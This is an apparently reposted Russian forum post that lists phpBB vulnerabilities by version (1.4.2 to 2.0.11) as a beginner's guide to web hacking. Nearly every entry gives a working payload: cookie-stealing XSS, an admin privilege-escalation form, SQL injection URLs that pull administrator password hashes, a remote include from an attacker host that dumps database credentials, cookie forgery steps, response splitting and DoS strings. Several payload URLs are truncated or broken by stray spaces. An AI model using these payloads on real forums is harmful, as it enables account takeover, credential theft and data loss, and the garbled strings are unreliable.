(Признаюсь, статью позаимствовал с MaZZa.ru, но это, на мой взгляд, хорошее пособие в помощь новичкам по исследования web уязвимостей (сам пользуюсь =))).
1.4.2 version:
Cross Site Scripting:
Cross Site Scripting позволяет нападающим вставлять JavaScript код (и другой код HTML) в существующие сообщения.
Пример:
{img}javascript
:alert('This is the test'){/img}
1.4.4 version:
DoS и нарушение структуры базы данных:
Уязвимость существует в выполнении phpBB's BBcode ({code}{/code},{quote}{/quote},{list}{/list}).
Добавление строки ‘\0\0\0\0\0\0\0’ внутри одного из этих тэгов, приведет к 100% потреблению ресурсов памяти и процессора на уязвимом сервере и к нарушении структуры базы данных.
Пример:
1. {code}'\0'*800{/code}
2. {code}\0{code}\0{code}\0{/code}\0{/code}\0{/code}
--
2.0.0 version:
Межсайтовый скриптинг:
Уязвимость защиты в программе позволяет удаленным нападающим вставлять злонамеренный HTML и JavaScript код в существующие web-страницы внутри тэга IMG специальной конструкции:
{img}http://a.a/a"onerror="javascript
:alert(document.cookie){/img}
--
Повышение привилегий:
Уязвимость позволяет пользователю с учетной записью "user" поднять свои привилегии до уровня "administrator", тем самым получая полный контроль над управлением форума.
Ошибка присутствует в сценарии admin_ug_auth.php (используется для установления разрешения). Для просмотра защищенных страниц сценарий способен ограничить доступ непривилегированным пользователям, но он не производит такую проверку при отправлении назад данных. Демонстрационный код:
Код:
PHP код:
<html>
<head>
</head>
<body>
<form method="post"
action="http://domain_name/board_directory/admin/admin_ug_auth.php">
User Level: <select name="userlevel">
<option value="admin">Administrator</option>
<option value="user">User</option></select>
<input type="hidden" name="private[1]" value="0">
<input type="hidden" name="moderator[1]" value="0">
<input type="hidden" name="mode" value="user">
<input type="hidden" name="adv" value="">
User Number: <input type="text" name="u" size="5">
<input type="submit" name="submit" value="Submit">
</form>
</body>
</html>
Далее отредактируйте действие формы в этом коде, измените местоположение admin сценария. Обычно, он находится в подкаталоге /admin/. Затем вызовите код в локальном окне браузера, и введите номер неадминистративного пользователя. Нажмите submit. При следующем заходе, вы получите права администратора.
--
2.0.2 version:
Административный доступ:
Обнаружена возможность изменения SQL запроса. Удаленный пользователь может получить хеш пароля администратора и, используя его, получить полный контроль над PHPbb системой.
Уязвимость обнаружена в сценарии page_header.php.
Например, чтобы взломать user_id '40', запросите следующую страницу:
http://site/phpBB/index.php?
forum_id=1+or+user_id=40+and+mid(user_password,1,1 )=char(97)/*[
В результате запрос будет выглядеть следующим образом:
SELECT u.username, u.user_id, u.user_allow_viewonline, u.user_level,
s.session_logged_in, s.session_ip FROM phpbb_users u, phpbb_sessions s WHERE
u.user_id = s.session_user_id AND s.session_time >= 1035778374 AND s.session_page =
1 or user_id=40 and mid(user_password,1,1)=char(97)/* ORDER BY u.username ASC,
s.session_ip ASC
Имя администратора системы можно просмотреть вверху списка пользователей внизу страницы форума. Далее добавляя хеш пароля в куки, можно войти на сайт как администратор системы. Например, если user_id равен 32360, и хеш пароля - 6a204bd89f3c8348afd5c77c717a097a, то атакующий должен добавить следующее значение:
a:2:{s:11:"autologinid";s:32:"
6a204bd89f3c8348afd5c77c717a097a";s:6:"userid";s:5 :"31360";} www.phpbb.com/ 1536 1063947136 29596959 197425936 29523534 *
Затем urlencode() это и поместите в куки с переменной 'phpbb2support_data', затем обратитесь к административной странице на phpbb сайте. Демонстрационный эксплоит:
http://{target}/phpBB/prefs.php?HTTP_POST_VARS{save}
=1&passwd=asdfasdf&viewemail=0&savecookie=0&sig=0 & smile=0&dishtml=0&disbbcode=0&themes =1〈=/../../../var/logs/apache/access.log%00&save=1&user=admin&submit=Save%20Pref erences
--
2.0.3 version:
Выполнение произвольного PHP кода:
Уязвимость позволяет удаленному атакующему внедрить путь к 'extension.inc' в сценарии 'quick_reply.php'. В результате, атакующий может внедрить произвольный PHP сценарий из своего источника, который может использоваться для выполнения произвольных команд на Web сервере. Пример:
Создаем сценарий 'extension.inc' на удаленном сервере:
Код:
PHP код: <?php include('config'.'.php');
echo "DB Type: $dbms <br>";
echo "DB Host: $dbhost <br>";
echo "DB Name: $dbname <br>";
echo "DB User: $dbuser <br>";
echo "DB Pass: $dbpasswd <br>";
exit; ?>
Затем запрос:
http://www.example.com/quick_reply.php?
phpbb_root_path=http://attackersite.tld/&mode=smilies
Раскроет содержание базы данных форума.
--
Межсайтовый скриптинг:
Из-за недостаточной фильтрации ввода пользователя, удаленный атакующий может внедрить произвольный код сценария в сгенерированную страницу поиска. Уязвимость может использоваться для кражи опознавательных мандатов, хранящихся в куки. Пример:
Код:
Код HTML: <html>
body>
<form method="post" name="search"
action="http://target/search.php?mode=searchuser">
<input type="hidden" name="search_username" value=""/>
</form>
<script>
search.search_username.value='Http://savecookie/x.php?Cookie="> <script>location=search.search_username.value+document.cookie;</script\>'; document.search.submit();
</script>
</body>
</html>
SQL Injection:
phpBB пользователь может посылать приватные сообщения другим пользователям. Обнаруженная уязвимость позволяет пользователю удалить текст всех приватных сообщений, сохраненных в системе.
Функция для удаления приватных сообщений уязвима к SQL инъекции. Если мы представляем данные, в которых мы хотим удалить приватное сообщение с номером ‘1) OR 1=1 #’, текст всех сообщений будет удален.
Сообщения хранятся в двух таблицах, и SQL инъекция будет воздействовать только на одну из них, так что будут удалены все тела сообщений, а темы и метаданные будут удалены, если они принадлежат текущему пользователю. Это означает, что темы удаленных сообщений все еще можно обнаружить в папках других пользователей. огда пользователь нажимает на такое удаленное сообщение, он будет переадресован назад к папке.
Вы можете эксплуатировать это, отправляя(POST) следующее значение к privmsg.php?folder=inbox*sid = {SID}:
mode=""
delete="true"
mark{}="1) OR 1=1 #"
confirm="Yes"
текущее значение SID можно увидеть в URL полях, если вы вошли в систему с отключенными куки.
--
2.0.5 version:
Межсайтовый скриптинг:
Удаленный пользователь может выполнить XSS нападение.
Сообщается, что форум не фильтрует HTML код в переменной topic_id в сценарии viewtopic.php. Удаленный пользователь может сконструировать специально обработанный URL, содержащий произвольный HTML код, который будет выполнен в браузере пользователя, просматривающего эту ссылку, в контексте уязвимого сайта. Пример:
http://{site}/phpBB/viewtopic.php?topic_id={script}
Уязвимость может использоваться для кражи опознавательных данных, хранящихся в куки целевого пользователя.
--
SQl инъекция:
Удаленный пользователь может выполнить нападение SQL инъекции.
Сценарий 'profile.php' не проверяет переменую 'u'при отображении профиля пользователя. Удаленный пользователь может представить специально сформированный HTTP Get запрос, чтобы выполнить произвольные SQL команды на основной базе данных.
Пример/Эксплоит:
http://{target}/profile.php?mode=viewprofile&u='{sqlcode
2.0.5 version + MySQL 4:
SQL инъекция:
Уязвимость в проверке правильности ввода обнаружена в PHPbb. Удаленный пользователь может получить хеши паролей пользователей, включая администратора системы, и затем декодировать их.
Сообщается, что сценарий viewtopic.php не проверяет данные, представленные пользователем в переменной $topic_id, перед выполнением SQL запроса. Удаленный атакующий может представить специально обработанное значение для этой переменной, чтобы выполнить дополнительный SQL запрос и получить произвольные данные их MySQL базы данных, включая MD5 хеши паролей пользователей форума, включая администратора системы.
Exploit: [here!] (2.0.5+MySQL4.perl.txt)
--
2.0.6 version:
Межсайтовый скриптинг:
Удаленный атакующий может вставить произвольный HTML код в тело сообщения.
Удаленный атакующий может вставить специально отформатированный BB тэг (bbcode) {url}{/url}, чтобы заставить форум отобразить произвольный код сценария в браузере пользователя, просматривающего злонамеренное сообщение.
Пример/Эксплоит:
{url=www.somename.ru" onclick=alert('Hello')}text{/url}
{URL=http://www. somename.ru" onclick="alert'Hello'}text{/URL}
{URL=www. somename.ru" onclick="alert'Hello'}text{/URL}
--
Межсайтовый скриптинг:
Удаленный авторизованный администратор может выполнить XSS нападение против других администраторов форума.
Удаленный администратор может сконструировать специально обработанную smiley панель таким образом, чтобы выполнить произвольный код сценария в браузере другого администратора, просматривающего эту панель.
Пример/Эксплоит: Поместите в smiley панель:
<script>alert('Css work')</script>
--
SQL иньекция:
Удаленный пользователь может внедрить SQL команды, чтобы получить административный доступ к приложению.
Как сообщается, сценарий 'search.php' не достаточно проверяет параметр 'search_id'. Удаленный пользователь может послать специально обработанное значение, чтобы выполнить произвольные SQL команды на целевом сервере, например, чтобы получить хэши паролей администратора. С хэшами паролей, удаленный пользователь может изменить свои куки, чтобы получить доступ к системе. Воздействие уязвимости зависит от версии используемой базы данных MySQL.
Для определения уязвимости, выполните следующий запрос:
http://your_site/phpBB2/search.php?search_id=1\
Если ваша система уязвима, то запрос выдаст SQL ошибку:
SQL Error : 1064 You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to use near '\\ AND
session_id = '9c9052fd135c0cefb31ec4b5124060f7''
SELECT search_array FROM phpbb_search_results WHERE search_id = 1\\ AND session_id
= '9c9052fd135c0cefb31ec4b5124060f7'
Line : 693
File : /usr/local/www/data/phpBB2/search.php
Эксплоит (боле подробное описание см. в источнике сообщения) (работает только в MySQL 4.x!):
http://site.com/search.php?search_id...ect%20concat(c har
(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114 ,99,104,95,114,101,115,117,108,116,
115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58 ,34,116,111,116,97,108,95,109,97,116,
99,104,95,99,111,117,110,116,34,59,105,58,53,59,11 5,58,49,50,58,34,115,112,108,105,116,
95,115,101,97,114,99,104,34,59,97,58,49,58,123,105 ,58,48,59,115,58,51,50,58,34)
,user_password,char(34,59,125,115,58,55,58,34,115, 111,114,116,95,98,121,34,59,105,58,48,
59,115,58,56,58,34,115,111,114,116,95,100,105,114, 34,59,115,58,52,58,34,68,69,83,67,34,59,
115,58,49,50,58,34,115,104,111,119,95,114,101,115, 117,108,116,115,34,59,115,58,54,58,34,116,111,112
,105,99,115,34,59,115,58,49,50,58,34,114,101,116,1 17,114,110,95,99,104,97,114,115,34,59,
105,58,50,48,48,59,125))%20from%20phpbb_users%20wh ere%20user_id={id}/*
--
SQL инъекция:
Удаленный авторизованный модератор может внедрить произвольные SQL команды.
Сообщается, что функция 'groupcp.php' не проверяет правильность данных, представленных пользователем в $sql_in переменной. Удаленный авторизованный пользователь с 'moderator' привилегиями может представить специально обработанный URL, чтобы выполнить произвольные команды на целевом сервере.
--
Sql инъекция:
Уязвимость обнаружена в phpBB в 'search.php'. Удаленный пользователь может выполнить произвольные SQL команды.
Уязвимость обнаружена в 'search.php' в параметре 'show_results', кода переменная $show_results не установлена к 'posts' или 'topics'.
Exploit: [here!] (2.0.6.perl.txt)
--
2.0.6c version:
Межсайтовый скриптинг:
Уязвимость обнаружена в phpBB в 'viewtopic.php'. Удаленный пользователь может выполнить XSS нападение.
Уязвимость обнаруженав параметре 'postorder' в сценарии 'viewtopic.php'. Пример:
http://site/phpBB/viewtopic.php?t=123456&postorder=
%22%3E%3C%73%63%72%69%70%74%3E%61
%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6 F%6B%69%65%
--
2.0.6d version:
Межсайтовый скриптинг:
Уязвимость обнаружена в phpBB в 'viewtopic.php' и 'viewforum.php'. Удаленный пользователь может выполнить XSS нападение.
viewforum.php?f={FNUM}&topicdays={DNUM}{XSS}
viewforum.php?f=1&topicdays=99"><script>alert(docu ment.cookie)</script>&star t=30
viewtopic.php?t=10&postdays=99"><script>alert(docu ment.cookie)</script>&start=20
--
Межсайтовый скриптинг:
Уязвимость обнаружена в phpBB в 'profile.php'. Удаленный пользователь может выполнить XSS нападение.
Пример/Эксплоит:
Код:
PHP код: -------------exploit.htm--------------
<form name='f' action="http://site/profile.php?mode=editprofile" method="post">
<input name="avatarselect" value='" ><script>alert(document.cook ie)</script>'>
<input type="submit" name="submitavatar" value="Select avatar">
</form>
<script> window.onload=function()
{ document.all.submitavatar.click();
} </script> ---------------end-------------------
2.0.7a version:
Sql инъекция:
Удаленный авторизованный администратор может внедрить SQL команды. Удаленный пользователь может выполнить XSS нападение.
Пример:
admin_smilies.php?mode=edit&id=99 UNION SELECT 0,username,0,user_password FROM othersite_phpbb_users WHERE user_id=2
и еще:
admin_smilies.php?mode=edit&id={SQL}
admin_ smilies.php?mode=delete&id={SQL}
admin_smilies.php?mode=edit&id={XSS}
admin_smilies.php?mode=delete&id={XSS}
admin_styles.php?mode=edit&style_id={SQL}
admin_styles.ph p?mode=delete&style_id={SQL}
admin_styles.php?mode=edit&style_id={XSS}
admin_styles.php?mode=delete&style_id={XSS}
Также сообщается, что множество сценариев не проверяют ID сессии. В результате удаленный пользователь может внедрить phpBB команды в тело сообщения, которые будут выполнены в браузере целевого пользователя, просматривающего сообщение форума.
--
2.0.8 version:
Sql инъекция:
Уязвимость в проверке правильности входных данных обнаружена в 'privmsg.php' сценарии. Удаленный пользователь может внедрить произвольный SQL код.
Пример:
http://localhost/phpbb206c/privmsg.p...ode=read&p=99&
pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20username,null,
user_password,null,null,null,null,null,null,null,n ull,null,null,null,null,null,null,null
,null,null,null,null,null,null,null,null,null,null ,null,null,null FROM phpbb_users WHERE user_level=1 LIMIT 1/*
/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_u ser=AND pm.privmsgs_type=-99 UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username,0 ,0,0,0,0,0,0,0,0,user_password FROM phpbb_users WHERE user_id=2 LIMIT 1/*
--
Раскрытие пути:
http://localhost/phpbb208/index.php?...ry_rows=waraxe
http://localhost/phpbb208/faq.php?faq=waraxe
http://localhost/phpbb208/faq.php?mo...ode&faq=waraxe
http://localhost/phpbb208/profile.ph...anksrow=waraxe
http://localhost/phpbb208/index.php?...s{0}{cat_id}=1
--
XSS:
in "index.php":
http://localhost/phpbb208/index.php?category_rows{0}
{cat_id}=1&category_rows{0}{cat_title}=waraxe<scri pt>alert(document.cookie);</script>&category_rows{0}{cat_order}=99
in "language\lang_english\lang_faq.php":
http://localhost/phpbb208/faq.php?faq{0}{0...document.cookie );</script>bar&faq{0}{1}=waraxe
in "language\lang_english\lang_bbcode.php ":
http://localhost/phpbb208/faq.php?mode=bbcode&faq{0}
{0}=f00<script>alert(document.cookie);</script>bar&faq{0}{1}=waraxe
--
2.0.8а version:
Спуфинг IP адресов:
Удаленный пользователь может подделать свой IP адрес, который будет зарегистрирован приложением.
Удаленный пользователь может сконструировать специально обработанный 'X-Forwarded-For' HTTP заголовок, чтобы подменить свой реальный IP адрес произвольным IP адресом.
В результате удаленный пользователь может обойти ограничения доступа к приложению по IP адресу.
--
2.0.10 version:
--
Межcайтовый скриптинг и Response Splitting Attacks:
Уязвимость позволяет удаленному пользователю выполнить XSS нападение.
1. Сценарий /phpBB2/search.php' не фильтрует HTML код в поле 'search_author'. Пример:
http://server/phpBB2/search.php?
search_author=%27%3Cscript%3Ealert(document.cookie )%3C/script%3E
Также сообщается, что phpBB уязвим к HTTP Response Splitting нападениям (как описано в
http://www.sanctuminc.com/pdf/WhiteP...PResponse.pdf). Удаленный пользователь может отравить еш web прокси. Уязвимы сценарии '/phpBB2/privmsg.php' и '/phpBB2/login.php'. Пример запроса:
POST /phpBB2/login.php HTTP/1.0
Host: SERVER
User-Agent: Mozilla/4.7 {en} (WinNT; I)
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Content-Type: application/x-www-form-urlencoded
Content-length: 129
logout=foobar&redirect=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTT
P/1.0%20200%20OK%0d%0aContent-Length:%207%0d%0a%0d%0aGotcha!
Еще пример:
GET /phpBB2/privmsg.php?mode=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200
%20OK%0d%0aContent-Length:%207%0d%0a %0d%0aGotcha!
HTTP/1.0
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.7 {en} (WinNT; I)
Host: SERVER
--
SQL-инъекция и php инклудинг:
Удаленный атакующий может выполнить произвольный SQL команды и php код на уязвимой системе.
Уязвимость существует при обработке спецсимволов в строке URL. Удаленный атакующий может выполнить SQL-инъекцию и произвольный php-сценарий на уязвимой системе. Пример:
viewtopic.php?t=1&highlight=%2527
Exploit: [here!] (2.0.10.perl.txt)
Exploit: [here!] (2.0.10-2.perl.txt)
--
Межсайтовое выполнение сценариев:
Удаленный атакующий может получить доступ к важным данным пользователей.
Уязвимость существует из-за некорректной обработки входных данных переменной 'username'. Удаленный атакующий может создать сообщение, которое при просмотре выполнить произвольный HTML код в браузере жертвы.
--
2.0.11 version:
Просмотр и удаление произвольных файлов:
Уязвимость форуме позволяет удаленному пользователю раскрыть содержание и удалять (unlink) произвольные файлы на системе с привилегиями Web сервера.
Уязвимость в phpBB в нескольких сценариях, отвечающих за обработку аватаров (usercp_avatar.php, usercp_viewprofile.php и usercp_register.php) позволяет удаленному пользователю контролировать параметры, переданные функции unlink().